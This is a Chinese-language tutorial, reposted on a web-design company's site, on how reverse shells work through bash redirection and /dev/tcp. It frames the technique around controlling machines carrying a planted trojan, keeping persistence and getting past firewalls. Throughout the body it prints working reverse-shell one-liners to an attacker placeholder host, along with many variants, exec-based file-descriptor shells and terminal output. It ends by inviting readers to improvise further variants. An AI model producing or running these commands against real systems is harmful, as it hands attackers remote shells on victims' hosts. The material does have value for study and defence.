本篇內(nèi)容主要講解“反彈shell的原理和作用是什么”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學(xué)習(xí)“反彈shell的原理和作用是什么”吧!
反彈shell(reverse shell)
讓客戶滿意是我們工作的目標(biāo),不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術(shù)通過有效、簡單的方式提供給客戶,將通過不懈努力成為客戶在信息化領(lǐng)域值得信任、有價值的長期合作伙伴,公司提供的服務(wù)項目有:國際域名空間、雅安服務(wù)器托管、營銷軟件、網(wǎng)站建設(shè)、彭山網(wǎng)站維護、網(wǎng)站推廣。
就是控制端監(jiān)聽在某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。
攻擊者指定服務(wù)端,受害者主機主動連接攻擊者的服務(wù)端程序,就叫反彈連接。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。
深入理解文件描述符和重定向才能更好弄懂反彈shell。場景
1.某客戶機中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。
2.目標(biāo)機器的ip動態(tài)改變,你不能持續(xù)控制。
3.建立一個服務(wù)端讓惡意程序主動連接,持久化。
4.防火墻受限,不能由外向內(nèi)建立連接(不接受外部連接)。(通過傳輸層協(xié)議的全雙工通信實現(xiàn)交互)
備注:
全雙工傳輸 (Full-Duplex Transmissions)
交換機在發(fā)送數(shù)據(jù)的同時也能夠接收數(shù)據(jù),兩者同步進行,這好像我們平時打電話一樣,說話的同時也能夠聽到對方的聲音。目前的交換機都支持全雙工。
單工數(shù)據(jù)傳輸只支持?jǐn)?shù)據(jù)在一個方向上傳輸;在同一時間只有一方能接受或發(fā)送信息,不能實現(xiàn)雙向通信,舉例:電視,廣播,計算機與打印機之間的通信是單工模式。
半雙工數(shù)據(jù)傳輸允許數(shù)據(jù)在兩個方向上傳輸,但是,在某一時刻,只允許數(shù)據(jù)在一個方向上傳輸,它實際上是一種切換方向的單工通信;在同一時間只可以有一方接受或發(fā)送信息,可以實現(xiàn)雙向通信。舉例:對講機。
WIKI的定義
全雙工(full-duplex)的系統(tǒng)允許二臺設(shè)備間同時進行雙向數(shù)據(jù)傳輸。一般的電話、手機就是全雙工的系統(tǒng),因為在講話時同時也可以聽到對方的聲音。全雙工的系統(tǒng)可以用一般的雙向車道形容。兩個方向的車輛因使用不同的車道,因此不會互相影響。實驗
測試一:
攻擊端:[root@attacker]# nc -lvp 2333 //第一步Connection from victim_ip:38712docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether XXXXXXXXXX txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.181.6 netmask 255.255.240.0 broadcast 172.22.191.255 inet6 fe80::216:3eff:fe0e:9d06 prefixlen 64 scopeid 0x20<link>//測試結(jié)果:實現(xiàn)了將受害端的標(biāo)準(zhǔn)輸出重定向到攻擊端,但是還沒實現(xiàn)用命令控制受害端。
受害端:[root@victim]# bash -i > /dev/tcp/attacker_ip/2333 //第二步[root@victim]# ifconfig //第三步[root@victim]#
測試二:
攻擊端:[root@attacker]# nc -lvp 2333 //第一步Connection from victim_ip:38286hostname //第三步(攻擊端執(zhí)行命令)idwhoami
受害端:[root@victim]# bash -i < /dev/tcp/attacker_ip/2333 //第二步[root@victim]# hostname attacker[root@victim]# iduid=0(root) gid=0(root) groups=0(root)[root@victim]# whoamiroot[root@victim]#//測試結(jié)果:實現(xiàn)了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執(zhí)行結(jié)果。底層原理
輸出重定向 >,相當(dāng)于 1>,輸入重定向 <,相當(dāng)于0<,如果要使用錯誤輸出,寫成 2>。
例如,把正確的結(jié)果放到test.txt,而把錯誤的結(jié)果放到test2.txt文件中:
在正常輸入的命令結(jié)尾加上2>&1,這個語句可以理解為將錯誤輸出與標(biāo)準(zhǔn)輸出一致,也就是將他們輸出到一個文件中:這里的&符號是為了區(qū)分文件跟文件描述符的,如果這里沒有&符號,系統(tǒng)會把它(1)
理解為文件,而不是標(biāo)準(zhǔn)輸出
同理,在錯誤輸出的命令結(jié)尾加上1>&2,這個語句可以理解為將標(biāo)準(zhǔn)輸出與錯誤輸出一致,也就是將他們輸出到一個文件中:
查看一個進程打開了哪些文件:[root@lee]# nc -lvp 2333 [root@lee]# netstat -ntlp|grep 2333tcp 0 0 0.0.0.0:2333 0.0.0.0:* LISTEN 16303/nc
/proc/[進程ID]/fd這個目錄專門用于存放文件描述符[root@lee]# ll /proc/16303/fdtotal 0lrwx------ 1 root root 64 Apr 20 14:41 0 -> /dev/pts/1lrwx------ 1 root root 64 Apr 20 14:41 1 -> /dev/pts/1lrwx------ 1 root root 64 Apr 20 14:41 2 -> /dev/pts/1lrwx------ 1 root root 64 Apr 20 14:41 3 -> socket:[339049416]lrwx------ 1 root root 64 Apr 20 14:41 6 -> /dev/pts/1cd /dev/pts ll上圖的多個tty我理解為交互式shell(終端)
的數(shù)量。tty設(shè)備包括虛擬控制臺,串口以及偽終端設(shè)備。
上圖我用xshell起了7個交互式shell,都關(guān)閉只保留一個時:/devdev是設(shè)備(device)的英文縮寫。這個目錄中包含了所有Linux系統(tǒng)中使用的外部設(shè)備。是一個訪問這些外部設(shè)備的端口。我們可以非常方便地去訪問這些外部設(shè)備,和訪問一個文件,一個目錄沒有任何區(qū)別。(Linux一切皆文件
)/dev/null
/dev/null 它是空設(shè)備,也稱為位桶(bit bucket)或者黑洞(black hole)。你可以向它輸入任何數(shù)據(jù),但任何寫入它的數(shù)據(jù)都會被拋棄。通常用于處理不需要的輸出流。(當(dāng)然,它也可以作為空的輸入流)
例如:/dev/zero
/dev/zero
創(chuàng)建一個為NULL填充的文件。dd if=/dev/zero of=foobar count=2 bs=1024 dd:用指定大小的塊拷貝一個文件,并在拷貝的同時進行指定的轉(zhuǎn)換。
linux命令總結(jié)dd命令詳解/dev/pty
偽終端(/dev/pty/)
偽終端(Pseudo Terminal)是成對的邏輯終端設(shè)備(即master和slave設(shè)備, 對master的操作會反映到slave上)。/dev/tty
/dev/tty是當(dāng)前進程的控制終端的設(shè)備特殊文件。其他/dev/hd[a-t]:IDE設(shè)備/dev/sd[a-z]:SCSI設(shè)備/dev/fd[0-7]:標(biāo)準(zhǔn)軟驅(qū)/dev/md[0-31]:軟raid設(shè)備/dev/loop[0-7]:本地回環(huán)設(shè)備/dev/ram[0-15]:內(nèi)存/dev/null:無限數(shù)據(jù)接收設(shè)備,相當(dāng)于黑洞/dev/zero:無限零資源/dev/tty[0-63]:虛擬終端/dev/ttyS[0-3]:串口/dev/lp[0-3]:并口/dev/console:控制臺/dev/fb[0-31]:framebuffer/dev/cdrom => /dev/hdc/dev/modem => /dev/ttyS[0-9]/dev/pilot => /dev/ttyS[0-9]/dev/random:隨機數(shù)設(shè)備/dev/urandom:隨機數(shù)設(shè)備bash -i >& /dev/tcp/ip/port 0>&1
bash -i 表示創(chuàng)建一個交互式的shell
/dev/tcp/ip/port,這個文件不是存在的,但是當(dāng)你在監(jiān)聽這個端口的時候,對這個文件進行讀寫,就可以實現(xiàn)兩個主機之間的socket通信
首先我們在攻擊機開啟監(jiān)聽,然后在Linux機器上輸入下面的命令,即將指定字符通過tcp協(xié)議發(fā)送到攻擊機的2333端口:echo 1 > /dev/tcp/attacker_ip/2333
攻擊機監(jiān)聽:nc -lvp 2333Connection from victim_ip:499481
UDP發(fā)包同理:echo 2 > /dev/udp/attacker_ip/2333
攻擊機監(jiān)聽:nc -luvp 2333Received packet from victim_ip:22367 -> 192.168.0.226:2333 (local)12>&1 將錯誤輸出和標(biāo)準(zhǔn)輸出輸出到同一個文件(Linux一切皆文件
):
靶機:echo1 1> /dev/tcp/attacker_ip/2333 2>&1
攻擊機:[root@attacker ~]# nc -lvp 2333Connection from victim_ip:5479-bash: echo1: command not found
通過 <將標(biāo)準(zhǔn)輸出改成標(biāo)準(zhǔn)輸入:
靶機:cat < /dev/tcp/attacker_ip/2333qwerasdf
攻擊機:nc -lvp 2333 Connection from victim_ip:23610qwerasdf
在攻擊機傳輸?shù)膬?nèi)容會被重定向到靶機。
輸入重定向原理:
掌握了上面的原理,可以隨意構(gòu)建反彈shell命令:
攻擊:nc -lvp 2333
靶機:bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0
或:bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 bash -i < /dev/tcp/ip/2333 >&0 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0
其他變形:bash -i 1>& /dev/tcp/ip/port 0>&1 bash -i 1>& /dev/tcp/ip/port 0>&2 bash -i &> /dev/tcp/ip/port 0>&1 bash -i &> /dev/tcp/ip/port 0>&2bash -i后的&>或>&表示混合輸出,即標(biāo)準(zhǔn)輸出1 + 錯誤輸出
2
bash 和 sh 的一點兒區(qū)別
sh 遵循POSIX規(guī)范:“當(dāng)某行代碼出錯時,不繼續(xù)往下解釋”。bash 就算出錯,也會繼續(xù)向下執(zhí)行。
簡單說,sh是bash的一種特殊的模式,sh就是開啟了POSIX標(biāo)準(zhǔn)的bash, /bin/sh 相當(dāng)于 /bin/bash --posix
在Linux系統(tǒng)上/bin/sh往往是指向/bin/bash的符號鏈接ln -s /bin/bash /bin/sh其他變形
Unix操作系統(tǒng)通常給每個進程能打開的文件數(shù)量強加一個限制,ulimit -n查看系統(tǒng)默認(rèn)的文件描述符個數(shù)。
例如:# ulimit -n655360
表示系統(tǒng)支持的文件描述符 0-655359
page 1:
打開"File"并且將fd 655359分配給它:[j]<>filename# 為了讀寫"filename", 把文件"filename"打開, 并且將文件描述符"j"分配給它.# 如果文件"filename"不存在, 那么就創(chuàng)建它.
eg:exec 655359<> File
&- 關(guān)閉標(biāo)準(zhǔn)輸出
n&- 表示將n號輸出關(guān)閉
page2:
攻擊機:[root@attacker]# nc -lvp 2333 # 第一步Connection from victim_ip:46414helloworld # 第三步123
受害機:[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333 # 第二步[root@victim]# cat <&65534helloworld123
受害機的文件描述符同步讀取到攻擊機的寫入。
page3:[root@attacker]# nc -lvp 2333Connection from victim_ip:46536id11
受害機:[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;doneuid=0(root) gid=0(root) groups=0(root)-bash: 11: command not found
受害機的文件描述符同步讀取到攻擊機的寫入并通過shell腳本執(zhí)行;
page4:
受害機的文件描述符同步讀取到攻擊機的寫入并通過shell腳本執(zhí)行后返回到文件描述符。exec 65534<>/dev/tcp/attacker_ip/2333;cat<&65534|while read line;do $line 2>&65534 >&65534;done總結(jié)
掌握了原理,可以寫出各種變形,例如:exec 8<>/dev/tcp/attacker_ip/2333;bash<&8 >&8 2>&8
大家可以自由發(fā)揮。
分享名稱:反彈shell的原理和作用是什么
當(dāng)前地址:http://jinyejixie.com/article46/sgghg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供響應(yīng)式網(wǎng)站、小程序開發(fā)、營銷型網(wǎng)站建設(shè)、用戶體驗、標(biāo)簽優(yōu)化、網(wǎng)站改版
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)